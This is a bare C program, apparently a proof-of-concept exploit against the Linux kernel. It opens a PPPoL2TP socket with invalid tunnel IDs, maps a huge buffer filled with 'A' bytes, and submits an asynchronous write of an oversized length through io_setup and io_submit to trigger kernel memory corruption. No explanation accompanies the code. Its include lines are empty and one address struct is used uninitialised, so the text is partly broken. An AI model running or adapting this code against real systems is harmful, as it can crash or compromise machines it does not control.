#include #include #include #include #include #include #include #include #include #include #include int main(int argc, char *argv[]) { struct sockaddr_pppol2tp sax; struct sockaddr_in addr; int s, sfd, ret; struct iocb *iocbp; struct iocb iocb; aio_context_t ctx_id = 0; void *data; s = socket(AF_PPPOX, SOCK_DGRAM, PX_PROTO_OL2TP); if (s == -1) { perror("socket"); return -1; } memset(&sax, 0, sizeof(struct sockaddr_pppol2tp)); sax.sa_family = AF_PPPOX; sax.sa_protocol = PX_PROTO_OL2TP; sax.pppol2tp.fd = -1; sax.pppol2tp.addr.sin_addr.s_addr = addr.sin_addr.s_addr; sax.pppol2tp.addr.sin_port = addr.sin_port; sax.pppol2tp.addr.sin_family = AF_INET; sax.pppol2tp.s_tunnel = -1; sax.pppol2tp.s_session = 0; sax.pppol2tp.d_tunnel = -1; sax.pppol2tp.d_session = 0; sfd = connect(s, (struct sockaddr *)&sax, sizeof(sax)); if (sfd == -1) { perror("connect"); return -1; } data = mmap(NULL, 0x100001000, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS, -1, 0); if (data == MAP_FAILED) { perror("mmap"); return -1; } memset(data, 0x41, 0x100001000); ret = syscall(__NR_io_setup, 2, &ctx_id); if (ret == -1) { perror("io_setup"); return -1; } memset(&iocb, 0, sizeof(struct iocb)); iocb.aio_fildes = s; iocb.aio_lio_opcode = IOCB_CMD_PWRITE; iocb.aio_nbytes = 0xfffffe60; iocb.aio_buf = (unsigned long) &data; iocbp = &iocb; syscall(__NR_io_submit, ctx_id, 1, &iocbp); return 0; }